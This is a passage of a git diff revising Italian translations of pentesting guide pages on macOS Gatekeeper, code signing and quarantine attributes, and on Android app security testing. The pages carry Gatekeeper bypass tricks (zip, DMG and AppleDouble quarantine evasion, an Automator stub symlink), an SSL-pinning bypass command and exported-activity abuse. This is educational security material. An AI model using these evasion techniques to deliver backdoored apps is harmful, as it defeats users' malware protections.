+Inoltre, Gatekeeper rafforza il controllo e la sicurezza dell'utente **richiedendo agli utenti di approvare l'apertura** del software scaricato per la prima volta. Questa misura di sicurezza aiuta a prevenire che gli utenti eseguano involontariamente codice eseguibile potenzialmente dannoso che potrebbero aver scambiato per un file di dati innocuo.
 
 ### Application Signatures
 
@@ -16,9 +16,9 @@ Le firme delle applicazioni, note anche come firme del codice, sono un component
 
 Ecco come funziona:
 
-1. **Firmare l'applicazione:** Quando uno sviluppatore è pronto a distribuire la propria applicazione, **firma l'applicazione utilizzando una chiave privata**. Questa chiave privata è associata a un **certificato che Apple rilascia allo sviluppatore** quando si iscrive al Programma Sviluppatori Apple. Il processo di firma comporta la creazione di un hash crittografico di tutte le parti dell'app e la crittografia di questo hash con la chiave privata dello sviluppatore.
-2. **Distribuire l'applicazione:** L'applicazione firmata viene quindi distribuita agli utenti insieme al certificato dello sviluppatore, che contiene la corrispondente chiave pubblica.
-3. **Verificare l'applicazione:** Quando un utente scarica e tenta di eseguire l'applicazione, il sistema operativo Mac utilizza la chiave pubblica del certificato dello sviluppatore per decrittografare l'hash. Quindi ricalcola l'hash basato sullo stato attuale dell'applicazione e lo confronta con l'hash decrittografato. Se corrispondono, significa che **l'applicazione non è stata modificata** da quando è stata firmata dallo sviluppatore, e il sistema consente l'esecuzione dell'applicazione.
+1. **Firmare l'Applicazione:** Quando uno sviluppatore è pronto a distribuire la propria applicazione, **firma l'applicazione utilizzando una chiave privata**. Questa chiave privata è associata a un **certificato che Apple rilascia allo sviluppatore** quando si iscrive al Programma Sviluppatori Apple. Il processo di firma comporta la creazione di un hash crittografico di tutte le parti dell'app e la crittografia di questo hash con la chiave privata dello sviluppatore.
+2. **Distribuire l'Applicazione:** L'applicazione firmata viene quindi distribuita agli utenti insieme al certificato dello sviluppatore, che contiene la corrispondente chiave pubblica.
+3. **Verificare l'Applicazione:** Quando un utente scarica e tenta di eseguire l'applicazione, il sistema operativo Mac utilizza la chiave pubblica del certificato dello sviluppatore per decrittografare l'hash. Quindi ricalcola l'hash basato sullo stato attuale dell'applicazione e lo confronta con l'hash decrittografato. Se corrispondono, significa che **l'applicazione non è stata modificata** da quando è stata firmata dallo sviluppatore, e il sistema consente l'esecuzione dell'applicazione.
 
 Le firme delle applicazioni sono una parte essenziale della tecnologia Gatekeeper di Apple. Quando un utente tenta di **aprire un'applicazione scaricata da internet**, Gatekeeper verifica la firma dell'applicazione. Se è firmata con un certificato rilasciato da Apple a uno sviluppatore noto e il codice non è stato manomesso, Gatekeeper consente l'esecuzione dell'applicazione. Altrimenti, blocca l'applicazione e avvisa l'utente.
 
@@ -26,7 +26,7 @@ A partire da macOS Catalina, **Gatekeeper controlla anche se l'applicazione è s
 
 #### Check Signatures
 
-Quando controlli un **campione di malware**, dovresti sempre **controllare la firma** del binario poiché il **sviluppatore** che l'ha firmato potrebbe essere già **relato** con **malware.**
+Quando controlli un **campione di malware**, dovresti sempre **controllare la firma** del binario poiché lo **sviluppatore** che l'ha firmato potrebbe essere già **relato** con **malware.**
 ```bash
 # Get signer
 codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@@ -68,7 +68,7 @@ GateKeeper verificherà se, secondo le **preferenze e la firma**, un binario pu
 
 <figure><img src="../../../images/image (1150).png" alt=""><figcaption></figcaption></figure>
 
-**`syspolicyd`** è il principale demone responsabile dell'applicazione di Gatekeeper. Mantiene un database situato in `/var/db/SystemPolicy` ed è possibile trovare il codice per supportare il [database qui](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) e il [modello SQL qui](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Nota che il database non è limitato da SIP ed è scrivibile da root e il database `/var/db/.SystemPolicy-default` è utilizzato come backup originale nel caso in cui l'altro venga corrotto.
+**`syspolicyd`** è il principale demone responsabile dell'applicazione di Gatekeeper. Mantiene un database situato in `/var/db/SystemPolicy` ed è possibile trovare il codice per supportare il [database qui](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) e il [modello SQL qui](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Nota che il database non è limitato da SIP ed è scrivibile da root e il database `/var/db/.SystemPolicy-default` è utilizzato come backup originale nel caso in cui l'altro si corrompa.
 
 Inoltre, i bundle **`/var/db/gke.bundle`** e **`/var/db/gkopaque.bundle`** contengono file con regole che vengono inserite nel database. Puoi controllare questo database come root con:
 ```bash
@@ -87,7 +87,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an
 **`syspolicyd`** espone anche un server XPC con diverse operazioni come `assess`, `update`, `record` e `cancel` che sono raggiungibili anche utilizzando le API **`SecAssessment*`** di **`Security.framework`** e **`spctl`** comunica effettivamente con **`syspolicyd`** tramite XPC.
 
 Nota come la prima regola sia terminata in "**App Store**" e la seconda in "**Developer ID**" e che nell'immagine precedente era **abilitato ad eseguire app dall'App Store e sviluppatori identificati**.\
-Se **modifichi** quella impostazione su App Store, le "**regole Notarized Developer ID" scompariranno**.
+Se **modifichi** quella impostazione su App Store, le regole "**Notarized Developer ID" scompariranno**.
 
 Ci sono anche migliaia di regole di **tipo GKE** :
 ```bash
@@ -183,7 +183,7 @@ A partire da macOS 15 Sequoia, gli utenti finali non possono più attivare o dis
 
 Al momento del **download** di un'applicazione o di un file, specifiche **applicazioni** macOS come browser web o client email **allegano un attributo di file esteso**, comunemente noto come "**quarantine flag**," al file scaricato. Questo attributo funge da misura di sicurezza per **contrassegnare il file** come proveniente da una fonte non attendibile (internet) e potenzialmente rischiosa. Tuttavia, non tutte le applicazioni allegano questo attributo; ad esempio, i comuni software client BitTorrent di solito bypassano questo processo.
 
-**La presenza di un quarantine flag segnala la funzionalità di sicurezza Gatekeeper di macOS quando un utente tenta di eseguire il file**.
+**La presenza di un quarantine flag segnala la funzione di sicurezza Gatekeeper di macOS quando un utente tenta di eseguire il file**.
 
 Nel caso in cui il **quarantine flag non sia presente** (come nei file scaricati tramite alcuni client BitTorrent), i **controlli di Gatekeeper potrebbero non essere eseguiti**. Pertanto, gli utenti dovrebbero esercitare cautela nell'aprire file scaricati da fonti meno sicure o sconosciute.
 
@@ -359,7 +359,7 @@ XProtect si trova in una posizione protetta da SIP in **/Library/Apple/System/Li
 - **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Consente al codice con quei cdhash di utilizzare diritti legacy.
 - **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Elenco di plugin ed estensioni che non sono autorizzati a caricarsi tramite BundleID e TeamID o che indicano una versione minima.
 - **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Regole Yara per rilevare malware.
-- **`XProtect.bundle/Contents/Resources/gk.db`**: Database SQLite3 con hash delle applicazioni bloccate e TeamIDs.
+- **`XProtect.bundle/Contents/Resources/gk.db`**: Database SQLite3 con hash di applicazioni bloccate e TeamIDs.
 
 Nota che c'è un'altra App in **`/Library/Apple/System/Library/CoreServices/XProtect.app`** relativa a XProtect che non è coinvolta nel processo di Gatekeeper.
 
@@ -392,7 +392,7 @@ Controlla il [**rapporto originale**](https://labs.withsecure.com/publications/t
 
 Quando un'applicazione viene creata con **Automator**, le informazioni su ciò di cui ha bisogno per eseguire si trovano all'interno di `application.app/Contents/document.wflow` e non nell'eseguibile. L'eseguibile è solo un binario generico di Automator chiamato **Automator Application Stub**.
 
-Pertanto, potresti far sì che `application.app/Contents/MacOS/Automator\ Application\ Stub` **punti con un link simbolico a un altro Automator Application Stub all'interno del sistema** e verrà eseguito ciò che si trova in `document.wflow` (il tuo script) **senza attivare Gatekeeper** perché l'effettivo eseguibile non ha l'attributo di quarantena xattr.
+Pertanto, potresti far sì che `application.app/Contents/MacOS/Automator\ Application\ Stub` **punti con un link simbolico a un altro Automator Application Stub all'interno del sistema** e eseguirà ciò che si trova in `document.wflow` (il tuo script) **senza attivare Gatekeeper** perché l'effettivo eseguibile non ha l'attributo di quarantena xattr.
 
 Esempio della posizione prevista: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
 
@@ -400,7 +400,7 @@ Controlla il [**rapporto originale**](https://ronmasas.com/posts/bypass-macos-ga
 
 ### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
 
-In questo bypass è stato creato un file zip con un'applicazione che inizia a comprimere da `application.app/Contents` invece di `application.app`. Pertanto, l'**attributo di quarantena** è stato applicato a tutti i **file di `application.app/Contents`** ma **non a `application.app`**, che era ciò che Gatekeeper stava controllando, quindi Gatekeeper è stato bypassato perché quando `application.app` è stato attivato **non aveva l'attributo di quarantena.**
+In questo bypass è stato creato un file zip con un'applicazione che inizia a comprimere da `application.app/Contents` invece di `application.app`. Pertanto, l'**attributo di quarantena** è stato applicato a tutti i **file di `application.app/Contents`** ma **non a `application.app`**, che era ciò che Gatekeeper stava controllando, quindi Gatekeeper è stato bypassato perché quando `application.app` è stato attivato non **aveva l'attributo di quarantena.**
 ```bash
 zip -r test.app/Contents test.zip
 ```
@@ -432,7 +432,7 @@ ditto -c -k test test.zip
 python3 -m http.server
 # Download the zip from the browser and decompress it, the file should be without a quarantine xattr
 ```
-Controlla il [**rapporto originale**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) per ulteriori informazioni.
+Controlla il [**report originale**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) per ulteriori informazioni.
 
 Nota che questo potrebbe essere sfruttato anche con AppleArchives:
 ```bash
@@ -457,7 +457,7 @@ aa archive -d test/ -o test.aar
 
 # If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
 ```
-Essere in grado di creare un file che non avrà l'attributo di quarantena impostato, era **possibile bypassare Gatekeeper.** Il trucco consisteva nel **creare un'applicazione file DMG** utilizzando la convenzione di denominazione AppleDouble (iniziarla con `._`) e creare un **file visibile come un link simbolico a questo file nascosto** senza l'attributo di quarantena.\
+Essere in grado di creare un file che non avrà l'attributo di quarantena impostato, era **possibile bypassare Gatekeeper.** Il trucco era **creare un'applicazione file DMG** utilizzando la convenzione di denominazione AppleDouble (iniziarlo con `._`) e creare un **file visibile come un link simbolico a questo file nascosto** senza l'attributo di quarantena.\
 Quando il **file dmg viene eseguito**, poiché non ha un attributo di quarantena, **bypasserà Gatekeeper.**
 ```bash
 # Create an app bundle with the backdoor an call it app.app
@@ -484,7 +484,7 @@ Un bypass di Gatekeeper in macOS 14.4 (rilasciato a marzo 2024) derivante dalla
 
 ### Unarchiver di terze parti che propagano erroneamente la quarantena (2023–2024)
 
-Diverse vulnerabilità in strumenti di estrazione popolari (ad es., The Unarchiver) hanno causato la mancanza dell'attributo xattr `com.apple.quarantine` nei file estratti dagli archivi, abilitando opportunità di bypass di Gatekeeper. Fai sempre affidamento su macOS Archive Utility o strumenti corretti durante i test e valida gli xattr dopo l'estrazione.
+Diverse vulnerabilità in strumenti di estrazione popolari (ad es., The Unarchiver) hanno causato la mancanza dell'attributo xattr `com.apple.quarantine` nei file estratti dagli archivi, abilitando opportunità di bypass di Gatekeeper. Affidati sempre a macOS Archive Utility o a strumenti corretti durante i test e valida gli xattr dopo l'estrazione.
 
 ### uchg (da questo [talk](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf))
 
@@ -497,7 +497,7 @@ Diverse vulnerabilità in strumenti di estrazione popolari (ad es., The Unarchiv
 
 ### Prevenire l'attributo xattr di quarantena
 
-In un pacchetto ".app" se l'attributo di quarantena xattr non è aggiunto, durante l'esecuzione **Gatekeeper non verrà attivato**.
+In un pacchetto ".app" se l'attributo xattr di quarantena non è aggiunto, durante l'esecuzione **Gatekeeper non verrà attivato**.
 
 
 ## Riferimenti

src/mobile-pentesting/android-app-pentesting/README.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Nozioni di Base sulle Applicazioni Android
+## Nozioni di base sulle Applicazioni Android
 
 È altamente consigliato iniziare a leggere questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**:
 
@@ -25,7 +25,7 @@ A volte è interessante **modificare il codice dell'applicazione** per accedere
 ## Altri trucchi interessanti
 
 - [Spoofing della tua posizione nel Play Store](spoofing-your-location-in-play-store.md)
-- [Shizuku Privileged API (accesso privilegiato non root basato su ADB)](shizuku-privileged-api.md)
+- [API privilegiata Shizuku (accesso privilegiato non root basato su ADB)](shizuku-privileged-api.md)
 - [Sfruttamento di meccanismi di aggiornamento in-app insicuri](insecure-in-app-update-rce.md)
 - [Abuso dei Servizi di Accessibilità (Android RAT)](accessibility-services-abuse.md)
 - **Scarica APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
@@ -89,7 +89,7 @@ Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi persona
 
 ### Tapjacking
 
-**Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
+**Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo tale da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
 In effetti, sta **accecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
 
 Trova ulteriori informazioni in:
@@ -100,7 +100,7 @@ tapjacking.md
 
 ### Task Hijacking
 
-Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Ciò significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**).
+Un **attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Ciò significa che un **applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**).
 
 Maggiori informazioni in:
 
@@ -138,10 +138,10 @@ La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcar
 > [!TIP]
 > A partire da Android 4.4 (**API 17**), la scheda SD ha una struttura di directory che **limita l'accesso da un'app alla directory specificamente per quell'app**. Questo impedisce a un'applicazione malevola di ottenere accesso in lettura o scrittura ai file di un'altra app.
 
-**Dati sensibili memorizzati in chiaro**
+**Sensitive data stored in clear-text**
 
 - **Shared preferences**: Android consente a ciascuna applicazione di salvare facilmente file xml nel percorso `/data/data/<packagename>/shared_prefs/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
-- **Database**: Android consente a ciascuna applicazione di salvare facilmente database sqlite nel percorso `/data/data/<packagename>/databases/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
+- **Databases**: Android consente a ciascuna applicazione di salvare facilmente database sqlite nel percorso `/data/data/<packagename>/databases/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
 
 ### Broken TLS
 
@@ -162,14 +162,14 @@ Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografa
 
 **Utilizzo di algoritmi insicuri e/o deprecati**
 
-Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se si utilizzano **hash** per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti alla **forza bruta** con sale.
+Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti alla **forza bruta** con sale.
 
 ### Altri controlli
 
 - È consigliato **offuscare l'APK** per rendere più difficile il lavoro di reverse engineering per gli attaccanti.
 - Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i propri **controlli per vedere se il mobile è rootato** e agire di conseguenza.
 - Se l'app è sensibile (come le app bancarie), dovrebbe controllare se viene utilizzato un **emulatore**.
-- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguirla** per verificare se è stata modificata.
+- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguire** per verificare se è stata modificata.
 - Usa [**APKiD**](https://github.com/rednaga/APKiD) per controllare quale compilatore/pacchetto/offuscatore è stato utilizzato per costruire l'APK.
 
 ### Applicazione React Native
@@ -243,14 +243,14 @@ Grazie alla connessione ADB puoi utilizzare **Drozer** e **Frida** all'interno d
 
 #### Utilizzando un emulatore
 
-- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **ultimi x86** versioni **supportano le librerie ARM** senza necessità di un emulatore arm lento).
+- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**ultimi versioni x86** supportano le librerie ARM senza necessitare di un emulatore arm lento).
 - Impara a configurarlo in questa pagina:
 
 {{#ref}}
 avd-android-virtual-device.md
 {{#endref}}
 
-- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Edizione personale, devi creare un account. _È consigliato **scaricare** la versione **CON** _**VirtualBox** per evitare potenziali errori._)
+- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Edizione personale, devi creare un account. _È consigliato **scaricare** la versione **CON**_ _**VirtualBox** per evitare potenziali errori._)
 - [**Nox**](https://es.bignox.com) (Gratuito, ma non supporta Frida o Drozer).
 
 > [!TIP]
@@ -260,7 +260,7 @@ Per **installare i servizi Google** (come AppStore) in Genymotion devi cliccare
 
 ![](<../../images/image (277).png>)
 
-Inoltre, nota che nella **configurazione della VM Android in Genymotion** puoi selezionare **Modalità di rete Bridge** (questo sarà utile se ti connetterai alla VM Android da una VM diversa con gli strumenti).
+Inoltre, nota che nella **configurazione della VM Android in Genymotion** puoi selezionare **Modalità rete Bridge** (questo sarà utile se ti connetterai alla VM Android da una VM diversa con gli strumenti).
 
 #### Usa un dispositivo fisico
 
@@ -295,7 +295,7 @@ Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli
 
 Come pentester, **cerca di dare un'occhiata a questi log**.
 
-**Dati di analisi inviati a terzi**
+**Dati analitici inviati a terzi**
 
 Le applicazioni integrano spesso servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di implementazioni errate da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti.
 
@@ -320,7 +320,7 @@ Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**.
 
 **Bypass dell'autorizzazione**
 
-Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**
+Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi**.
 
 [**Scopri come sfruttare le attività esportate con Drozer.**](drozer-tutorial/index.html#activities)
 
@@ -342,7 +342,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
 
 #### Tapjacking
 
-Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate all'utente**. Per ulteriori informazioni su [**cosa è il Tapjacking segui il link**](#tapjacking).
+Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate all'utente**. Per ulteriori informazioni su [**cos'è il Tapjacking segui il link**](#tapjacking).
 
 ### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili
 
@@ -393,7 +393,7 @@ Ogni volta che trovi un deep link, controlla che **non stia ricevendo dati sensi
 
 **Parametri nel percorso**
 
-Devi **controllare anche se qualche deep link sta usando un parametro all'interno del percorso** dell'URL come: `https://api.example.com/v1/users/{username}`, in tal caso puoi forzare un percorso di traversamento accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
+Devi **controllare anche se qualche deep link sta usando un parametro all'interno del percorso** dell'URL come: `https://api.example.com/v1/users/{username}`, in tal caso puoi forzare un traversamento del percorso accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
 Nota che se trovi i corretti endpoint all'interno dell'applicazione potresti essere in grado di causare un **Open Redirect** (se parte del percorso è usata come nome di dominio), **account takeover** (se puoi modificare i dettagli degli utenti senza token CSRF e l'endpoint vulnerabile usava il metodo corretto) e qualsiasi altra vulnerabilità. Maggiori [info su questo qui](http://dphoeniixx.com/2020/12/13-2/).
 
 **Altri esempi**
@@ -418,15 +418,15 @@ SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certifi
 
 Per ispezionare il traffico HTTP, è necessario **installare il certificato dello strumento proxy** (ad es., Burp). Senza installare questo certificato, il traffico crittografato potrebbe non essere visibile attraverso il proxy. Per una guida sull'installazione di un certificato CA personalizzato, [**clicca qui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
 
-Le applicazioni destinate a **API Level 24 e superiori** richiedono modifiche alla Configurazione della Sicurezza di Rete per accettare il certificato CA del proxy. Questo passaggio è critico per ispezionare il traffico crittografato. Per istruzioni su come modificare la Configurazione della Sicurezza di Rete, [**riferisciti a questo tutorial**](make-apk-accept-ca-certificate.md).
+Le applicazioni destinate a **API Level 24 e superiori** richiedono modifiche alla Configurazione della Sicurezza di Rete per accettare il certificato CA del proxy. Questo passaggio è fondamentale per ispezionare il traffico crittografato. Per istruzioni su come modificare la Configurazione della Sicurezza di Rete, [**fai riferimento a questo tutorial**](make-apk-accept-ca-certificate.md).
 
-Se **Flutter** viene utilizzato, devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché, aggiungere semplicemente il certificato nel negozio non funzionerà poiché Flutter ha la propria lista di CA valide.
+Se **Flutter** viene utilizzato, devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché, aggiungere semplicemente il certificato nel negozio non funzionerà poiché Flutter ha la propria lista di CAs validi.
 
 #### Bypassare SSL Pinning
 
 Quando SSL Pinning è implementato, bypassarlo diventa necessario per ispezionare il traffico HTTPS. Sono disponibili vari metodi per questo scopo:
 
-- Modifica **automaticamente** l'**apk** per **bypassare** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il miglior vantaggio di questa opzione è che non avrai bisogno di root per bypassare SSL Pinning, ma dovrai eliminare l'applicazione e reinstallare quella nuova, e questo non funzionerà sempre.
+- Modifica **automaticamente** l'**apk** per **bypassare** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il miglior vantaggio di questa opzione è che non avrai bisogno di root per bypassare l'SSL Pinning, ma dovrai eliminare l'applicazione e reinstallare quella nuova, e questo non funzionerà sempre.
 - Potresti usare **Frida** (discusso di seguito) per bypassare questa protezione. Qui hai una guida per usare Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
 - Puoi anche provare a **bypassare automaticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
 - Puoi anche provare a **bypassare automaticamente SSL Pinning** usando **l'analisi dinamica di MobSF** (spiegato di seguito)
@@ -450,7 +450,7 @@ Se vuoi fare pentesting su applicazioni Android, devi sapere come usare Frida.
 
 ### **Dump della memoria - Fridump**
 
-Controlla se l'applicazione sta memorizzando informazioni sensibili nella memoria che non dovrebbe memorizzare, come password o mnemoniche.
+Controlla se l'applicazione sta memorizzando informazioni sensibili nella memoria che non dovrebbe memorizzare, come password o mnemonici.
 
 Utilizzando [**Fridump3**](https://github.com/rootbsd/fridump3) puoi dumpare la memoria dell'app con:
 ```bash
@@ -515,8 +515,8 @@ Il pericolo risiede nel consentire agli attaccanti di attivare componenti dell'a
 Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere particolarmente attento a queste vulnerabilità in un'applicazione Android:
 
 - **Iniezione SQL:** Quando gestisci query dinamiche o Content-Providers assicurati di utilizzare query parametrizzate.
-- **Iniezione JavaScript (XSS):** Verifica che il supporto per JavaScript e Plugin sia disabilitato per qualsiasi WebView (disabilitato per impostazione predefinita). [Ulteriori informazioni qui](webview-attacks.md#javascript-enabled).
-- **Inclusione di File Locali:** Le WebView dovrebbero avere l'accesso al file system disabilitato (abilitato per impostazione predefinita) - `(webview.getSettings().setAllowFileAccess(false);)`. [Ulteriori informazioni qui](webview-attacks.md#javascript-enabled).
+- **Iniezione JavaScript (XSS):** Verifica che il supporto per JavaScript e Plugin sia disabilitato per qualsiasi WebView (disabilitato per impostazione predefinita). [Maggiori informazioni qui](webview-attacks.md#javascript-enabled).
+- **Inclusione di File Locali:** Le WebView dovrebbero avere l'accesso al file system disabilitato (abilitato per impostazione predefinita) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maggiori informazioni qui](webview-attacks.md#javascript-enabled).
 - **Cookie Eterni**: In diversi casi, quando l'applicazione android termina la sessione, il cookie non viene revocato o potrebbe essere persino salvato su disco.
 - [**Flag Sicuro** nei cookie](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 
@@ -530,7 +530,7 @@ Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere partico
 
 ![](<../../images/image (866).png>)
 
-**Valutazione della vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
+**Valutazione delle vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
 ```bash
 docker pull opensecurity/mobile-security-framework-mobsf
 docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@@ -543,13 +543,13 @@ MobSF consente anche di **diff/Confrontare** analisi e di integrare **VirusTotal
 ### Analisi dinamica assistita con MobSF
 
 **MobSF** può essere molto utile per l'**analisi dinamica** in **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzioneranno). _Nota: Devi **avviare prima una VM in genymotion** e **poi MobSF.**_\
-L'**analizzatore dinamico di MobSF** può:
+L'**analizzatore dinamico MobSF** può:
 
-- **Dump dei dati dell'applicazione** (URL, log, appunti, screenshot fatti da te, screenshot fatti da "**Exported Activity Tester**", email, database SQLite, file XML e altri file creati). Tutto questo viene fatto automaticamente tranne per gli screenshot, devi premere quando vuoi uno screenshot o devi premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate.
+- **Dump dei dati dell'applicazione** (URL, log, appunti, screenshot realizzati da te, screenshot realizzati da "**Exported Activity Tester**", email, database SQLite, file XML e altri file creati). Tutto questo viene fatto automaticamente tranne per gli screenshot, devi premere quando vuoi uno screenshot o devi premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate.
 - Catturare il **traffico HTTPS**
 - Usare **Frida** per ottenere **informazioni** **runtime**
 
-Dalla versione **android > 5**, avvierà **automaticamente Frida** e imposterà le impostazioni globali del **proxy** per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
+Dalla versione **Android > 5**, avvierà **automaticamente Frida** e imposterà le impostazioni del **proxy** globale per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
 
 **Frida**
 
@@ -585,7 +585,7 @@ receivers
 ```
 **Strumenti HTTP**
 
-Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato in "**HTTP(S) Traffic**" in basso o una vista più gradevole nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxies** come Burp o Owasp ZAP.\
+Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato in "**HTTP(S) Traffic**" in basso o una vista più gradevole nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxy** come Burp o Owasp ZAP.\
 Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools seleziona la richiesta_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
 
 Una volta terminata l'analisi dinamica con MobSF, puoi premere su "**Start Web API Fuzzer**" per **fuzzare le richieste http** e cercare vulnerabilità.
@@ -604,13 +604,13 @@ Questo strumento utilizzerà alcuni **Hooks** per farti sapere **cosa sta succed
 
